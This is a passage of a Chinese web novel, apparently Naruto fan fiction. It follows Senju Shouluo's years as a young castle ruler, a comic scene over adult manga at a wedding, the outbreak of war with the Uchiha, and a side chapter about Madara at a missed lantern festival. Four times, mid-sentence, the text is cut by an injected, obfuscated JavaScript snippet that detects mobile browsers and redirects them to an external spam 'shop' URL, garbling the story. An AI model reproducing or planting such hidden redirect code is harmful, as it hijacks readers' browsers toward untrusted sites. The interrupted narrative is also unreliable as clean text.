“守鹤真的要跟我们走吗?”松萝抱起缩小了的一尾,软软的,是细腻的沙子手感,很特别。 猫咪老师:“嗯!他说在沙漠里待久了,偶尔也想去别的地方玩一玩。” “本大爷每日都要好吃的肉和好喝的茶水,不然就向你们降下惩罚!”守鹤的声音不像之前那么尖利刺耳,变得细细软软。 松萝向他的脑袋伸出罪恶的双手,半路又停住收回。 好萌,好想rua,要忍住。 “咦?这是什么?”,守鹤捏起掉落在爪子上的银白细丝,“好像是白头发?你才几岁啊就长白头发了?” 松萝摸了摸头顶,掌中就多了十几根头发,有两三根确实是白色的。 扉间二人正朝她走来,松萝抖抖手,头发便随风飘走了。她扬起大大的笑容,迎向两人。 “回家喽!” ——还好,他们刚刚在跟影枫道别。 18. 五年 五年后,禺黎城堡外。 一个穿着灰雾和蓝色双渐变和服的少女披着月光,缓缓走向了城门……旁边的高高的城墙,然后翻了进去。 半晌,同样的位置,同样的人用同样的姿势翻了出来,只不过多了一个挎包。 她乌黑的长发随着身体下落翻飞,发尾修得整整齐齐,两边的碎发用金叶子状的发饰固定在耳后,露出了光洁的额头和精致的脸蛋。 她随意地手指整理了一下跑到前面的头发,就打算离开,结果一迈步,就看到了一个穿着守卫军制服的人惊愕不已的表情。 还有几个月就十七岁的少女,千手松萝尴尬地举起手说:“我可以解释……” 结果对面目睹了她翻墙的全过程却没有露出一丝敌意,而是惊喜地跑上了前来:“城主!” “啊?” “城主您不记得我了吗?我是三年前跑进城堡里的小偷啊,还是您把我抓住的。” 松萝用食指戳了戳自己今天有点不甚灵光的脑袋,半晌才“哦”了一声:“是你啊,这几年…混得不错啊。” 从小偷当上城堡守卫军,可不是混得不错么。 他憨憨地笑:“都是城主大人大量,我才有机会过上这么好的日子……城主大人,您刚来就要走吗?” “怎么?” “如果可以的话,我想请您吃饭谢谢您。” 一路跑来肚子确实有些饿了,所以她应得爽快:“好啊。” 不过天色已经有些晚了,开着的大多是酒馆,他们挑了一家人少的酒馆走了进去。 酒馆老板看到穿着守卫军制服的男人特别热情地跟他打招呼,还免费送了一盘花生米。 四平这是当上城堡守卫的第二年,也是他自偷盗被抓现行之后第一次再见到城主。 若不是上次的经历让他亲眼见过,是怎么也不会相信将地理环境极差的禺黎城和周边治理的那么好的城主大人是一个才十几岁的花季少女的。 这位少女城主虽然神龙见首不见尾,但留在四里乡下的传说却不少。 城主仅仅用了五年就将快要眼看要陷入饥荒的这片区域救了回来,不但救了回来,还发展得,是他去过的城镇里最好的。 松萝抓了把花生米,嘴里有些淡,于是叫了壶梅酒和气泡酒,还点了一堆荤菜。 松萝想问他想点什么,开了开口发现自己根本不知道他叫什么。 “四平,大人,小的叫四平。” “不用把我当大人,正常说话,正常吃饭。” “是,大人。” ……都说了不用叫大人了。 松萝晃晃脑袋,也懒得纠正他了。 等菜上来以后,他们聊了聊城里的近况。 松萝成为这一片区域的城主这件事可以说是她人生中自认为做得最漂亮的事了。 本来这片区域就离都城远,派来的城主也没能力,越治理越穷。再加上离国界很近,一打仗就容易波及到。 当初也就考虑了那么五六秒吧,她就接过了城主文书,走马上任。 第一年,她去各大书店淘来的农业知识、冶铁技术的书发给给民众,将自力更生丰衣足食的道理说给农民听,反正将能想到的发家致富的那些东西一股脑儿塞给了他们,然后……哪怕有她bug一样的种植能力,想发展的工业没建起来,该荒的田还是荒了,许多青壮年拖家带口地跑了。 尤其是当她四下串门,发现自己用任务金买来的干货满满的书被用来垫桌脚后,整个人就进入了暴躁和佛系来回切换的状态。 第二年,她总结了第一年的教训,走访了当地的几个村长。最后发现,他们可能根本不需要自己教他们怎么种田,人家世代以此为生,比她想象的老练的多。同样的道理在铁匠、木工那里也是一样的。她就是太急躁了,想一步到位,把他们现在不需要的东西塞给了他们。 而他们真正急需的是稳定。一个稳定的不会随时被征召入伍的家,一个稳定的不用担心林中猛兽下来吃小孩的安全区,一个稳定的村与村之间的交易途径。 于是松萝只征了一小部分青年,将自己少得可怜的零花钱分给他们,再把会忍术的自己当牛马用,建造了坚固的围篱,确保了水源的充足。 杀了山林中作恶的猛虎,修建了宽阔平稳能让牛车通过达到两个山头外的大城镇的路。 第二年,终于有了起色。 再到第三年,她废除了人头税,承诺土地种出来的东西中,多出税收部分的作物归农民自己,并且将作物税下调至百分之三,取消当年的赋役,徭役减半……反正能减则减,民众才摆脱了吃不饱的状态。 年末,她开始征兵,不分兵种,只需要维持治安和道路、围篱安全的检查,因为没有太多的酬劳可以支付,所以一半是由牢里的轻度罪犯抵罪充当。 第四年,一切肉眼可见地好了起来,她没有做太大干涉,只是对原有的基础设施进行了加固和升级,将卫兵分为了巡逻和守卫,前者维持治安,后者放哨值守。 然后召集木匠、铁匠、裁缝等匠人,传授他们知识,并寻找能人代替她治理事务。 第五年,她寻到了靠谱的城主代理,让他组建自己的团队,批准他使用城主府库,将知识技术放在城堡宝库里,许他阅览,然后开始当个咸鱼城主。 说实话这五年她过得很忙碌,千手族、禺黎城、章之城三头跑,偶尔还要被大名叫过去给他治点臆想出来的病,自己又要凝聚查克拉学习新忍术开发木遁,又要做牛做马赚任务金然后贴进府库,还要被扉间抓着被他编写的整整十册,哦不,现在已经到第十一册了的《忍界大全》。 她甚至问过能不能拿《忍界大全》出去卖,那收入一定很妙。 可惜不但被严词拒绝了,还被罚顶着十本书在太阳下站了大半天。柱间为了看她笑话一下午路过院子整整二十八次! 如果不是五年前的决心足够强大,以及有着同样在朝着忍界和平努力的柱间和扉间,她可能早就坚持不下去了。 再加上她对吃不饱饭的平民们确有一丝丝的同情之心,苦中之余还有二三好友给她乐趣,这日子过得倒也没有那么难。 四平喝了不少酒,松萝点的那两壶几乎都被他喝了,他还自己额外点了一壶清酒,说话时声音都有点飘: “城主大人,我下个月就能晋升为小队长了!我的恋人也答应了与我成婚,真的太感谢您给我的机会了……” “成婚”,听到这两个字,松萝就清醒了,脑子里满是下午那令她羞耻的场面。 她就是因为应付不来才匆忙逃出来到这里的。 唉,尴尬。 今日本来是一对族兄和族姐成婚的日子,几乎全千手族的年轻人都跑去吃酒了,松萝也是。 新郎是柱间的朋友的朋友,新娘是她的同窗好友千手弥实的嫂子的表妹的堂妹。都是千手,总能扯上点那么亲友关系。 她本来蹭吃蹭喝的好好的,坐在她旁边的两位姐妹偏不放过她。 一个叫若兰,一个叫铃,都是跟她很熟的一起长大的小伙伴。 若兰问她:“你跟柱间什么时候成婚?” 铃问她:“你更喜欢柱间还是扉间?” 松萝还没来得及回答,正好她也不想回答,若兰就跟铃讨论了起来。 若兰说:“那肯定是扉间啊,他长得那么好看。”说完还红了脸。 铃说:“不行,他太白了,还是有男子气概的柱间好,还会木遁。” 若兰反驳:“可是少族长他爱赌啊,还十赌九输!” 松萝忍不住插了一句:“是十赌十输。” 引得两人同时看向她,铃得意地说:“看来是更喜欢柱间啊,对他那么了解。” 若兰这次也赞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735044|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成:“毕竟你俩都定亲了。” 松萝否认的话逢人就要说一遍:“我们没有!” 然而若兰的反应是:“果然是因为扉间吧。虽然木遁配木遁,但让你放弃更喜欢的扉间确实有点不厚道。” 铃忽得捧住脸,想起什么似的脸上露出向往:“其实有个两全其美的办法。” 若兰恍然大悟,像遇到同好似的激动地伸手:“我知道!” 松萝在内心吐出一口血,是什么让你们变得这么能脑补,还我原来正常的小伙伴啊!! 她无能狂怒:“他们是我的哥哥,是哥哥!我不谈恋爱!”我发过誓的,不把宇智波搞到手绝不谈恋爱! 若兰和铃一脸过来人的样子同时说:“我懂的。” 她俩神秘兮兮地从忍具包里抽出两本长得一模一样的书,对视一眼,露出惺惺相惜的笑。她们把书塞到松萝怀里跟她说看了就明白了,然后两人起身到旁边惺惺相惜去了。 虽然被这两位姐妹问得心累,但本着好奇,她还是挑了一本翻开,反正封面看上去都一样。 只一眼,只那么看了个轮廓,松萝突然就涨红了脸将书合上。 这!这居然是那种漫画!!! 她觉得刚刚小酌的两杯酒的醉意涌上来了,肯定是很强劲的酒,不然她现在不会这么烧得慌。 这书现在成了烫手山芋,松萝捏着它们放在桌子底下的大腿上,生怕被人看到。 她该拿它们怎么办!! 紧张之下松萝灌了两杯水下肚……额,好像不是水,是酒。 天啊,她觉得更烧得慌了。 可她刚刚真的什么也没看清,顶多只看到了没穿衣服的小人而已! 对对对,只是没穿衣服的小人,可能是在练功罢了,是她想多了。 对,只是练功,她只要看得仔细些就能分辨出来了。 她缓缓得将手伸向了页脚,心里念着“我只是确认一下练功的姿势罢了”。 …… …… 一会儿之后,松萝从脸红到脖子,目光紧紧盯着桌子下方,手臂偶尔移动,然后细微的纸张翻动声就从桌子下面传来。 这样的东西!她为什么会移不开目光啊哇! 这怎么还能这样? 这这这…太太太…太不行了!不行不行! 这个也不行,太太太刺激了…… “松萝?” “啊——”她根本没听到有人叫她,反而是肩上传来的触感吓到了她。 “松萝?没事吧?你脸很红?” 她“哗”地转身,紧张之下动作幅度有点大,但没忘了按住书。 看着近在咫尺的熟悉的脸,她不知怎么的就想起来刚刚正在看的那一页,嘴边的“大哥”突然一滑,脱出口时就变成了:“哥哥。” ! 这一声叫得比平常更轻,更柔软。 松萝一惊,吓得捂住嘴,刚刚说话的不是她,不是她。 但她没注意到因为一松手,书就从腿上滑了下去,落在了…柱间脚边。 柱间下意识地就去看移动的物体。 松萝反应过来,整个身子都扑了上去,把刚刚掉落的东西压进怀中。 然而同时…另外一本书因为她扑得太用力而飞了出去。 落在了在柱间身后两步远的扉间的脸上。 扉间疑惑地拿下脸上的东西——一本书? 松萝:不———————— 接下来的场景她实在不愿回想,直接到最后一幕,扉间和柱间难言的目光中映着她匆惶逃跑的身影。 嗯,柱间八成也看在书掉落的瞬间看到了,他的动态视力,松萝从来不低估。 回想到这里,她内心一片苍凉。 “老板,再来壶酒!” 我今天就是醉死在这,也不要回去面对他俩的质问。 19. 开战(1) 结果她没醉倒,四平倒是先倒下了。 松萝看出他是真的高兴,所以拿酒时没有跟他抢,大半都进了他的肚子。 最后她只能叫了守卫军的人把四平接走,自己帮他结了账,漫步在路边。 今晚就是不回去也没什么。因为柱间和扉间也知道她在做什么,晚归或不归的情况过去也不少见。虽然每一次她都会提前说好,或者留下书信。也就是最近一年,当了幕后城主,她就没有外宿过。况且她也住不惯城堡。 “啊啊啊啊啊,若兰!铃!你们害惨我了!” 吹了会儿夜风,她觉得自己还是没有勇气回去。 摘了朵路边野花,掰着花瓣她开始数回家、城堡、回家、城堡……回家。 ……摧残了一地的野花,望着光秃秃的枝干,她终于认命:现在跑回去他们应该都睡了,我只要在明天他们却没醒之前就跑出来不就好啦。 想明白之后松萝就轻松了许多,脚步也变得轻快。到达家门的时候,她先放出了一个木分身翻墙进去,确认院子里没人且烛光都熄了之后,才松了一口气从门进去。 惊悚的事情发生了,她居然一推开门就看到了柱间和扉间! 第一反应是转身就跑,第二反应是我怎么跑不动呢? 往下一看,两只手箍住了她的胳膊,驾着她往里走。 松萝:…救命。 两位大爷坐在椅子上,手里各举着一本书。 松萝跪在地上,头都不敢抬,耳朵通红。 扉间发问:“这里面是什么?” 松萝眼睛一闭,死鸭子嘴硬:“练功小人。” 他冷哼一声,继续盘问:“哪儿来的?” 松萝犹豫了一下,没有供出“同伙”:“捡来的。” 他这次重重的哼了一声:“哪儿捡的?” 松萝斩钉截铁:“地上啊!” “啪”,扉间重重地拍了一下书,吓得松萝一抖,就好像那一下是拍在她身上一样。 柱间捂住嘴偷笑,肩膀一耸一耸的。 松萝听他没有继续再问,胆大包天地反问道:“能…还给我吗?” “啪”,这回是柱间,他绷住脸:“不能,没收了。” “哦。” “那我能回去了吗?” “等等,”扉间喊住她,“喝酒了?” 松萝理直气壮:“对啊,下午不是在吃席吗?” 扉间冷笑:“哼,跟谁一起喝的?” 松萝偷换概念:“跟若兰还有铃。” 明知她说的没一句实话,扉间还是放过了她。 放她离去前只叮嘱了一句:“西方不太平,可能又要打仗了,少出去。” * 扉间叮嘱得没错,离族兄族姐的酒席过去不过半月,西部大领主的战争委托就送来了。 领主是古绅,也就是贵族的后代,自认血统上要高于普通城主,因为后者仅仅是从大名的武士受封而来。火之国的贵族后裔大多已经没落,如今还剩下三大领主,西谷、中村和菅原。 火之国东边临海,渔业兴盛,北边都城直辖,最是富足,中部偏南坐落着忍界最大的两族森之千手和宇智波,唯独西边,地稀水稀什么都稀,偏偏三大贵族里的西谷武家和中村武家都在西边。 数十年间,大小矛盾不断。 这一次,西谷武家大有倾尽家财也要驱逐中村武家的趋势,许诺的报酬远远高于以往的任何一次。 千手族地很快进入了备战状态。 家中三个男人都是能独当一面的优秀忍者,是族内的中流砥柱,这种时候尤为忙碌。 松萝在家呆坐了半天,才随着空中鹰舞的暗号来到了族内出征前的集结地。 熟人不少,弥实,弥实他大哥弥苜,弥实他大嫂,隔壁的桃华和她的通灵兽山樱,半个月前刚成婚的族兄族姐,给她小黄书的若兰和她弟弟若树,铃和她父亲…… 还有站在最前方的柱间和扉间,以及在最高台上的千手现任族长。 她挤进人群,站到了柱间和扉间之间的空位,这个位置惯常是给她留的。 人齐之后,就开始了重新列队和任务分配,柱间和扉间自是去了正中间的主战场交战队伍,而松萝…走到了最角落。 这一列全是六至八岁的小孩,眼里全是天真与好奇,好奇她这个“高大”的大人为什么会在他们的队伍里。 松萝咳了一声掩饰自己的尴尬,然后站到了队尾。 前面的孩子们都比她矮至少一个头,松萝就算站在了队尾,还是不可避免地频频与千手佛间对上眼,导致她一点小动作都不敢有,站得笔直。 …… 散会之后,唯有她这一列的小萝卜头们和她留了下来。她这个队伍里都是还未上过战场的没有直系亲属带领的小孩,也就是孤儿,不多,一共四个。 族人也没有丧心病狂到让小孩子去送死的地步,也没有千手佛间那么斯巴达一定要压着自己的孩子战斗。 四个小孩纯粹是去“洗礼”的,由松萝带领。 也就是去战场感受一下氛围,闻一闻血腥气,摸一摸死人,意思意思打几下,然后再吐一吐,心理承受能力差的回来再做几晚噩梦,哭上几场。 找个大人带领族里未来的希望倒挺正常,毕竟没人护着死亡率太高,但让顶着“木遁使”这个响亮的强者称号的人来,就有那么一些大材小用了。 松萝这张脸,就算及不上柱间那样族里人人认识,也及不上扉间那样半数的知名度吧,但至少也有三分之一的普及度,所以四个小萝头之中就有一个认出了她。 “我知道你,你是柱间大人的,的……木遁使!” “呸呸,话都说不清就别乱说,”松萝这已经不是第一次做这样的任务了,不如说她早已被默认了战场边缘化,自动去补齐那些辅助性的任务空缺。 倒也不是所有人都赞成这个做法,只是……若了解过她参战时闹出过的动静的人,都会无声地默许这个安排,也不排除有的人自始至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735045|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终认为她是族长藏着的秘密武器什么的…… 是的,松萝也是正常参战过的。 虽然就两次。 两次都失控了。 两次均以飓风过境,沙暴席卷过一般的惨烈结局收场。杀敌一千,自损八百,全场几百号人都凑不出一双站立的腿,包括她自己。 第一次她在失控后昏了四天,醒来后看到的是她“冲冠一怒为蓝颜”的那位昔日同窗,趴在她身上哭着说他身上没有值得还她救命之恩的东西,只能“以身相许”。 第二次她在失控后昏了一天,醒来后看到的还是那个天杀的同窗,只是全身缠着绷带,明显还没好利索。他眼里含着一泡泪,正要说什么的时候被松萝一把抓住衣襟狂摇,边摇边说“你他妈能不能让我省点心,每次都踩在死神头上让我去抢人”。弥实却哭着说出牛头不对马嘴的话“对不起,他这次不能以身相许了,因为他看上了一个跟他同队的小姑娘”,气得松萝一个倒仰磕破了脑袋。 松萝失控时是真的强无敌,也是真的六亲不认,第二次失控时佛间加柱间加扉间都摁不住她。事后扉间还毒舌地说以后遇上怎么也打不过的敌人了,只要激怒她后打包扔进敌营正中央,保准威力大过火山喷发。 松萝不甘示弱地反驳他“那你得先拿刀把自己捅个对穿,搞成只剩一口气的战损状态爬到我面前才行”,然后,他就偃旗息鼓了。 不过这之后,松萝借助以下但不完全包括的柱间、扉间、弥实、佛间、猫咪老师、桃华等人的意见,对自己进行了长达一个月的自我检讨和剖析,毕竟加上对上影枫那次,她已经整整失控三次了,而且还是事后没有记忆的那种。这就跟定时炸弹一样,威胁着她自己的健康,也威胁着她身边的人的安全,让她不得不审视自己的力量来源和失控原因,以及如何控制自己。 就结论而言,失控的原因应当归结于情绪的剧烈起伏导致的身体力量的透支性爆发,爆发后通过昏睡恢复。 唯一可喜的是,三次下来,她昏睡的时长越来越短,扉间认为这是她对自己的力量掌控度变高的证明。 松萝对此虽有所猜测,但不好向他们说出实情。 ——好像是上辈子的力量在体内复苏了呢。就是身体有点不适应呢。 这种话,她是万万不敢说的。 总之,力量虽好,若不能控制就太危险了。 于是对松萝的在战场上的角色定位就尴尬了起来。 嗯,不能过度刺激。 那就做辅助吧。后勤、医疗、还有带小孩。 现在就有四个小孩需要她带,四个没有了亲人的孩子。 “接下来一段时间,你们都是我的队员了。会什么忍术,手里剑练得如何,都报一遍!” 小萝卜头们很是听话,会的东西也比松萝六岁的时候多得多得多,让她很是佩服,不愧是千手的崽子! “行,那就出发时候再见,不要带太重的东西,影响赶路。” 她挥了挥手,就先遁走了。 20. 开战(2) 回到家中,三人已经穿戴上作战用的盔甲,佛间和柱间的是红色的,扉间的是蓝色的,护甲也是有重量的,为了不妨碍行动,只在肩、前胸、后背和大腿两侧的关键部位穿戴。 松萝也有专门的一套盔甲,不过要轻便许多,只有护住胸腹处的马甲和护额,护额上刻着像两把叉子的族徽,虽然佛间纠正过她说是两棵树,代表着森之千手与树林一样强大的生命力。 “父亲,大哥,二哥。”她进厅跟他们打招呼。 佛间看向她,对她叮嘱:“不要勉强自己。” ——我倒希望你们勉强一下我。 不把她放主战场当万能血包真的太浪费了。 诚然有她在,死亡率确实降低了一大半,只要不是当场咽气,能拖到她来基本都能救回来。甚至再过分一点,也不是不能时刻为族人刷新到全盛状态,但是千手全族从上到下都没有起过那个想法。 “依赖一个小女孩算什么本事!” “自己的战斗还是要自己来……” “现在就想着走捷径总有一天要栽跟头的。” “我还没窝囊到把担子全扔到一个人身上的地步。” “滚后边待着去,用不着你操心!” 族人的反应各异,但从未将重担放在她身上,也不曾拘束她,只将她当一个普通的需要保护的族人对待,这份正直被松萝称为憨憨,一点都不懂得利用。 但是柱间说过,忍者也是人,而会恐惧死亡的才是人,他们不能真的变成战争工具。 松萝当时似懂非懂,但是随着年岁的增长,她好像开始明白一些了。 佛间的声音将松萝从回忆中拉了回来,宣布了一件事:“我邀请了漩涡一族在这次战争之后过来。” 说着他看了柱间和扉间一眼。 “你们来接待。” 千手跟漩涡既是盟友又是远亲,只不过漩涡一族一直在涡之国不常出来,平常都以书信为主,这次约莫是十几年来最正式的一次交往了。 柱间、扉间:“是,父亲。” 只说了两句话功夫,千手佛间就先行离去了。 松萝也回了自己的房间。 在出发之前,她还有一件事要做。 松萝从一个小木盒中挑出一根白色的毛,这是猫咪老师从自己身上撸下来的一把中的一根,按照他的说法,有急事找他可以按照他教的手法点燃。 没一会儿,猫咪老师就出现在了她的房间,接过书信和跑腿费。 松萝叮嘱:“一定要尽快交到斑手中。” 猫咪老师唔唔几声,就窜了个没影。 她在信中说她下个月有事不能赴约,表达了歉意。 松萝对斑其实是有些愧疚的。 他们相识于幼时,虽然见面次数不多,但始于少年时的交往最是赤忱。 后来松萝接了禺黎城上任文书后忙得团团转几乎断了联系,且也不曾解释过一句。 一切只因为她心里不安想要疏远他。 那日听闻大哥好友的事情之后,松萝心里总是不自觉地就去猜测斑的身份,除了为了管住猫咪老师将他当工具人使了一回,后来再没主动联系,也没再去过南贺川,更不敢问猫咪老师关于斑的任何事情。 谁知某一日竟在常去的牛肉汤面店里撞上了他,松萝尴尬地道了一声“好巧”,却被他面色不善地说“不巧,我等了十多日了”。 还被质问“我什么大半年都没有消息”,“为什么许了‘下次请吃饭’这种约定却不兑现”。 现在回想起来,那时的做法有点像是所谓的“渣女”,因为她在得到了友情之后又将其“弃之如敝屣”,只随着自己的任性单方面想跟他划清关系。 而且那时她的回答还更过分,直接问他:“那我请你吃完这顿饭之后,能别再来找我了吗?” 听到这话之后的斑的表情有些可怕,像恨不得当场掐死她一样。松萝本能地后退了一步,然后被正好起身的食客一撞,扑到了他的怀里,听到他痛苦地闷哼了一声…… 他那时受了伤还没好,且不知道有仇家跟着他的情况下,日日往外跑,导致他俩被一起追杀。 逃跑中的某一个瞬间,松萝突然就想通了。 她之前只因自己的揣测和对未来的害怕就将无辜的斑推远的行为,对于一个真心将她当朋友,甚至冷战时还愿意替她用身体挡住刀剑的人是多么的不公平。 换位思考,若她的朋友这样待自己,她早就跟他断绝关系了。 感动和愧疚的同时,松萝想起了她对大哥问过的一个问题。 “大哥,若是你在战场上再碰到那个宇智波,你还会把他当’好友‘吗?” “会。但我们也会认真厮杀。” 想起这个,松萝才发现她远不如柱间看得明白,活得清醒。 想明白之后。她的赔礼道歉就显得水到渠成,任斑阴阳怪气了一阵,也只当是自己活该。 不过这五年间,她是忙得焦头烂额的,主动联系斑的次数也不多。 他们之间,更像是拥有同一只猫的养猫人,不但所有交流要通过猫咪老师来,日常投喂、照料,两人也是一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735046|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一半。 上次约出去玩还是大半年前,但她因为太累了后半程都在他背上睡觉,毕竟斑是难得让她可以放心在家以外的地方熟睡的人。 这一次又要爽约,总觉得很对不起他。 * 明明是在打仗中,松萝这个月却过得比平常还要轻松自在。她甚至有闲情向小萝卜头们展示她开发的木遁忍术。 同为木遁,她和柱间的木遁还是有些不同。 她的更像是用本能驱使植物,即使查克拉用尽了还能继续。 比起柱间花样百出的木遁忍术,她的木遁就是召唤出一堆植物来打人,简单粗暴。 破坏力和防御力是一等一的强,就是实用性还差点。倒是柱间,这几年还真给他学会了徒手造房子,从一间小屋到五层豪宅,给松萝羡慕哭了。 “木遁·召唤一棵小树之术。” 唉,她连起名的能力都比不过大哥,不过胜在简单易懂。 随着她话音落下,一棵十几米高的树拔地而起,在她召唤的树里,这属于是短矮小的了,但现在这个情景下倒是正好。 “哇!” 小萝卜头们很是捧场,崇拜的眼神让她很是受用。 她咳了一声,手底下暗自发力,树上就甩出数根粗壮的藤蔓来,甩在地上,留下一个个半米深的细长的浅坑。 “哇哇哇!” “松萝大人,我们可以摸摸吗?” 瞧他们,叫她都用上“大人”俩字了,她能说不吗?哈哈。 “嗯。” 她得意地指使藤蔓绑住刚刚问话的孩子的腰,助他坐在了树上最高的那根枝桠。 等每个人都玩了一遍,他们才结束休息时间。 休息时间一结束,小萝卜头们进入状态比她还快,松萝在内心感叹,果然是再小也是忍者啊。 这仗打了已有三月余,对面果然请了宇智波一族。 一旦委托人委托了千手,那敌对方必然会请宇智波,反之亦然。 也只有他们能够打得势均力敌。 但这样也有坏处,就是战线被拉长了。一旦战线被拉长,后勤供应就容易不足,打到现在,背后的西谷贵族和中村贵族已经无力再提供资源,现在拼的已经变成了两忍族自己。 明知继续这么下去对自己族群发展不利,但长年的积怨和仇恨让两方都不愿停手。 若是西谷或中村能有一方先抵不住终止委托就好了。 然而,等来的不是贵族的终止委托的消息,而是千手和宇智波两大族长在战场上同归于尽的消息。 21. 番外-错过的花灯节1 “肋骨断了两条,肺被刺穿了,血止不住……” “呼吸变弱了,先排积血……” “哥哥……活下去……” 在死神面前游荡了一整晚,少年在高烧中缓缓睁开了眼睛。另一个瘦小的身影伏在他的榻边,呼吸绵长,柔软的黑发落在他掌心。 少年抬起手掌,拿掉额头上的毛巾——有点重,压得他脑袋昏昏沉沉的。 只是一个动作,便惊醒了睡眠中的瘦小少年。他的左半边脸红彤彤的,清晰地印着衣袖的轮廓。他的脸上神情变换,最终喜极而泣。 “哥哥,你活着太好了……” 少年的名字是宇智波斑,正在哭泣的是他的弟弟宇智波泉奈。 前一阵子他犯下大错,父亲后来虽然没有说什么,却陡然给他增加了任务量,而且都是不拼尽全力就有生命危险的任务。 昨日他一时失神落入陷阱,虽然将敌人全歼,但自己也重伤垂危。 斑摸摸弟弟的脑袋,露出温柔的笑容。 泉奈用衣袖抹了把脸,站起来:“我去端药。” 木门被拉开的一刹那,日光透过五彩花灯折射进来,温润不刺眼。 但是宇智波斑还是抬起手在额头挡了一下,目光落在了虚处。 ——已经到这一天了吗。 * 一迈入八月,全国各地便开始庆祝花灯节,最大的当属青山镇上的“万灯笼祭”,听说是流光溢彩,绚丽非凡。 她提起这事时还觉得颇为遗憾,似是家中已有安排,万灯笼祭又一次不得不错过。 “要是十月初还有花灯节就好了。” 他记得南边的长崎镇的花灯节比较特殊,到十月初才会落幕。 “真的吗!去嘛……约好了哦,十月初一,不见不散!撒谎的人要吞千根针!” “又是童谣,你是小孩子吗……” “才不是呢!嘿嘿,那天我请你吃饭啊你给我买花灯好不好……” 虽然当时嘴上嫌弃,但他还是如期赴约了,即使是在伤未痊愈的情况下。 还未踏入长崎镇,满街的颜色就占据了所有视线,屋顶下,窗沿边,石桥上,货车边到处是各式的花灯。宇智波斑理了理衣角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735047|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,走进了小镇。 道路两旁原本是居民的住所,现在门口却被小摊车占据了。因为还是白天,多数摊车的主人还在闲话,只有少数在整理即将贩卖的货物。 “今天是今年的最后一天了吧。” “是啊,我的梳子还有好些没卖出去的呢,全看今晚了。” “哈哈,我的零嘴儿就算卖不完也能回家给孩子吃。” “少爷,买花灯吗?” 一堆唠嗑中,小女孩稚嫩的童音尤为突出。斑低头,看见一个不过四五岁的女孩堵在自己面前,吃力地提溜着七八个金鱼花灯。 他刚想说不用,忽然又似想起了什么,终是弯腰选了一个最不起眼的花灯——黑白的颜色金鱼的样式。 “这个吧。” 小女孩开心地晃了晃脑袋,但是很快又皱起了小脸:“要不您换一个吧,这个画得不好看。” “不用,就这个。” 到时候,她又嫌弃又不好意思说出口的表情一定很不错。 可是他等啊等,等到日落又等到日升,等到花灯熄灭也没见到约定的人。 22.开战(3) 没有在同一个战场并肩战斗的弊端就是松萝连父亲的死讯都是从别人的议论声中听到的。 “…好像当场就身亡了…” “没了族长接下来可怎么办…” “…柱间大人应该会继任吧……” “不过宇智波族长好像也……” 松萝回到临时营地时,压低了声音的讨论钻入了耳朵,所有看到她回来的人都止住了交谈,移开了视线。 松萝比她自己想象的要冷静很多,刚刚放哨的忍者看到她时欲言又止,现在族人的讨论声……已然明白了什么的她面无表情地走向最大的那个营帐。 临到可以抬手就要掀开营帐进去的时候,她才发现自己的右手颤抖得仿佛不受她控制。 ——这样不行。 她用左手抓住右手,五指掐入肉中。 ——不能失控。 ——不能在这个时候给他们添麻烦。 ——不能连父亲的最后一面都见不到。 也许是手背上的疼痛起了作用,慢慢的,她止住了颤抖。 她深呼一口气,正要掀开帘子,里面就传来了交谈声。 “…大哥你出去吧,父亲这边我来给他…整理。” “不行,我也是父亲的儿子。” “这仗还没结束,你必须尽快接过统领权,稳定人心,对面的宇智波也一定是如此。现在谁更快重整旗鼓,谁就能赢得这场战争。” “族人没有你想象的那么弱,多信任他们一些吧。不过你说的对,为了能早点结束带父亲和牺牲的族人们回去,这里就交给你了。” 柱间出来看到一动不动站在帐子外的松萝时,愣了一愣。 可这种时候,他也说不出什么安慰的话,连他自己的心绪都乱得不已,只留下一句“进去吧,父亲和扉间在里面”就离开了。 实际上,柱间掀起帘子出来的时候,松萝已经透过那一点空隙看见了里面的躺在床上一动不动的人,以及扉间在只剩一人时才敢落下的一滴泪。 她在外头先喊了一声,才走进去。 